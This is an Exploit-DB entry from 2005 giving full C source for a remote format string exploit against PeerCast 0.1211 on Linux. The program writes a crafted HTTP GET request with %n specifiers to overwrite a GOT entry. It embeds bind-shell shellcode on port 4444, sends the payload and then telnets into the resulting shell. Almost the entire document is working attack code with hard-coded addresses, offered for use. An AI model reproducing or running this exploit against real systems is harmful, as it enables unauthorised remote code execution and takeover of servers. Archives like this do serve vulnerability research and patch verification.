Exploit-DB #1055
Description: PeerCast 0.1211 - Remote Format String
Type: remote
Platform: linux
Date: 2005-06-20
Author: darkeagle

Exploit:
/*
\		PeerCast <= 0.1211 remote format string exploit 
/			     [<< Public Release >>]
\
/ by Darkeagle [ darkeagle [at] linkin-park [dot] cc ]  
\								
/	uKt researcherz [ http://unl0ck.org ]
\
/ greetz goes to: uKt researcherz.
\
/
\ - smallest code - better code!!!
/
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>


//*******************************************
#define doit( b0, b1, b2, b3, addr )  { \
             b0 = (addr >> 24) & 0xff;  \
             b1 = (addr >> 16) & 0xff;  \
             b2 = (addr >>  8) & 0xff;  \
             b3 = (addr      ) & 0xff;  \
}
//*******************************************



//****************************************************************
char shellcode[] = // binds 4444 port
"\x31\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x85"
"\x4f\xca\xdf\x83\xeb\xfc\xe2\xf4\xb4\x94\x99\x9c\xd6\x25\xc8\xb5"
"\xe3\x17\x53\x56\x64\x82\x4a\x49\xc6\x1d\xac\xb7\x94\x13\xac\x8c"
"\x0c\xae\xa0\xb9\xdd\x1f\x9b\x89\x0c\xae\x07\x5f\x35\x29\x1b\x3c"
"\x48\xcf\x98\x8d\xd3\x0c\x43\x3e\x35\x29\x07\x5f\x16\x25\xc8\x86"
"\x35\x70\x07\x5f\xcc\x36\x33\x6f\x8e\x1d\xa2\xf0\xaa\x3c\xa2\xb7"
"\xaa\x2d\xa3\xb1\x0c\xac\x98\x8c\x0c\xae\x07\x5f";
//****************************************************************


//****************************
#define HOST "127.0.0.1"
#define PORT 7144
#define GOTADDR 0x0809da9c
#define SHELLADDR 0x49adb23c
//****************************



//****************************************************************************************
char *
evil_builder( unsigned int retaddr, unsigned int offset, unsigned int base, long figure )
{
  char * buf;
  unsigned char b0, b1, b2, b3;
  int start = 256;

  doit( b0, b1, b2, b3, retaddr );
  buf = (char *)malloc(999);
  memset( buf, 0, 999 );

 b3 -= figure;
 b2 -= figure;
 b1 -= figure;
 b0 -= figure;

 snprintf( buf, 999,
           "%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n",
	     b3 - 16 + start - base, offset, 
             b2 - b3 + start, offset + 1, 
             b1 - b2 + start, offset + 2,
             b0 - b1 + start, offset + 3 );

  return buf;
}
//****************************************************************************************




//****************************************************************************************
int
main( int argc, char * argv[] )
{
  struct sockaddr_in addr;
  int sock;
  char * fmt;
  char endian[31337], da_shell[31337];
  unsigned long locaddr, retaddr;
  unsigned int offset, base;
  unsigned char b0, b1, b2, b3;

  system("clear");
  printf("*^*^*^ PeerCast <= 0.1211 remote format string exploit ^*^*^*\n");
  printf("*^*^*^                    by Darkeagle                 ^*^*^*\n");
  printf("*^*^*^      uKt researcherz [ http://unl0ck.org ]      ^*^*^*\n\n");   

  memset( endian, 0x00, 31337 );
  memset( da_shell, 0x00, 31337 );

  addr.sin_family = AF_INET;
  addr.sin_port = htons(PORT);
  addr.sin_addr.s_addr = inet_addr(HOST);

  sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

  locaddr = GOTADDR;
  retaddr = SHELLADDR;
  offset  = 1265; // GET /html/en/index.htmlAAA%1265$x and you will get AAAA41414141

  doit( b0, b1, b2, b3, locaddr );

  base = 4;
  printf("[*] Buildin' evil code\n");
  strcat(endian, "GET /html/en/index.html");
  snprintf( endian+strlen(endian), sizeof(endian),
            "%c%c%c%c"
            "%c%c%c%c"
            "%c%c%c%c"
            "%c%c%c%c",
             b3, b2, b1, b0,
             b3 + 1, b2, b1, b0,
             b3 + 2, b2, b1, b0,
             b3 + 3, b2, b1, b0 );

 fmt = evil_builder( retaddr, offset, base, 0x10 );

 memset(fmt+strlen(fmt), 0x55, 32);
 strcat(fmt, shellcode);
 strcat(endian, fmt);
 strcat(endian, "\r\n\r\n\r\n");
 printf("[+] Buildin' complete!\n");
 sprintf(da_shell, "telnet %s 4444", HOST);

 // just go, y0!
 printf("[*] Connectin'\n");
 if ( connect(sock, (struct sockaddr*)&addr, sizeof(addr)) ) { printf("[-] Connection failed!\n\n"); exit(0); }

 printf("[+] Connected!\n");
 printf("[*] Sleepin'\n");
 sleep(1);

 printf("[*] Sendin'\n");
 send(sock, endian, strlen(endian), 0);

 printf("[*] Sleepin'\n");
 sleep(1);
 	
 printf("[*] Connectin' in da shell\n\n");
 sleep(1);
 system(da_shell);
 return 0;
}
//****************************************************************************************

// milw0rm.com [2005-06-20]